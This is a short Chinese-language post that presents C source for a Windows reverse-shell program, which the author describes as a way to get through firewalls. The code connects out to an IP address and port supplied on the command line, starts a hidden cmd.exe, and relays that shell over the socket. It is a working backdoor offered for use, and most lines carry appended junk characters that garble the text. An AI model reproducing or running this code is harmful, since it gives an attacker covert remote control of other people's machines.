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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 @#T*OH  
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/* ============================== BReNhk)S  
Rebound port in Windows NT _YXk ,ME!Q  
By wind,2006/7 ?|8QL9Q"|  
===============================*/ dOm#NSJVd  
#include f`5e0;zm  
#include uzO%+B!  
f\Bd lOJ>  
#pragma comment(lib,"wsock32.lib") AsRS7V  
SR 9 Cl  
void OutputShell(); i$) `U]  
SOCKET sClient; +\FTR  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 5!ll #/ {`  
x1m J&D  
void main(int argc,char **argv) KzeTf?G  
{ v;S7i>\  
WSADATA stWsaData; >EFjyhVE  
int nRet; / r#.BXP  
SOCKADDR_IN stSaiClient,stSaiServer; sXzxEhp  
h1.]Nl C  
if(argc != 3) |x|#n  
{ Le9^,B@Pb  
printf("Useage:\n\rRebound DestIP DestPort\n"); m*L*# ZBS  
return; *P_ 3A:_  
} DLYk#d: q?  
NymS8hxR  
WSAStartup(MAKEWORD(2,2),&stWsaData); =J0X{Ovn4z  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); esH>NH_  
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stSaiClient.sin_family = AF_INET; <|~8Ezd  
stSaiClient.sin_port = htons(0); huu:z3{=J  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 5Sd+Cc  
qp*C%U  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) g{@q  
{ + #gJ[Cc  
printf("Bind Socket Failed!\n"); /I{<]m$  
return; :\x)`lu  
} N"2Ire  
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stSaiServer.sin_family = AF_INET; 8\m_.e  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); d `LBFH,  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ]KfjZ!Qh  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) UQ#"^`=R<  
{ ql5NSQ>{  
printf("Connect Error!"); "d'D:>z]%  
return; sQrP,:=r#  
} D 8^wR{-;J  
OutputShell(); G>{Bij44  
} WJ$D]7  
* B!uYP  
void OutputShell() YC#N],#  
{ j  )6A  
char szBuff[1024]; +E7s[9/r  
SECURITY_ATTRIBUTES stSecurityAttributes; w-?_U7'  
OSVERSIONINFO stOsversionInfo; dzMlfJp  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe;  4l+"J:,  
STARTUPINFO stStartupInfo; V6Kw71'9  
char *szShell; oLEqy  
PROCESS_INFORMATION stProcessInformation; q/,>UtRr  
unsigned long lBytesRead; 53d8AJ_@X  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); v*'dA^Q  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); bX%9'O[-  
stSecurityAttributes.lpSecurityDescriptor = 0; :T(3!}4  
stSecurityAttributes.bInheritHandle = TRUE; hjywYd]8  
smQ<lwA  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); V|3}~(5=  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); X TpYf  
VSa\X~  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); :@zz5MB5@  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; A{mv[x-XN  
stStartupInfo.wShowWindow = SW_HIDE; MG<kvx~2  
stStartupInfo.hStdInput = hReadPipe; K^j7T[pR  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; E}K6Op;=v5  
'+LbFGrO3  
GetVersionEx(&stOsversionInfo); OnE#8*8  
T)J=lw  
switch(stOsversionInfo.dwPlatformId) F)'kN2  
{ XnmQp)nyV  
case 1: (LzVWz m  
szShell = "command.com"; T9.3  
break; ehB (?  
default: Eb66GXF[  
szShell = "cmd.exe"; oUrNz#U  
break; aI]EwVz-q  
} U_ELeW5@  
555j@  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation);  ,83%18b  
?5(Cwy ?  
send(sClient,szMsg,77,0); z+IBy+  
while(1) w.w(*5[  
{ YCr:nYm<f  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 7 lc -  
if(lBytesRead) "J|{'k`  
{ (Tt\6-  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); CX/ _\0 G4  
send(sClient,szBuff,lBytesRead,0); LUSBRr8  
} yO\ .dp  
else ]t$wK  
{ r:fMd3;gq  
lBytesRead=recv(sClient,szBuff,1024,0); BEWDTOY[  
if(lBytesRead<=0) break; Lky<L96  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ~>v v9-_  
} 57 (bd0@8  
} 7]se!k,  
r'!L}^n  
return; 6v(?Lr`D  
}
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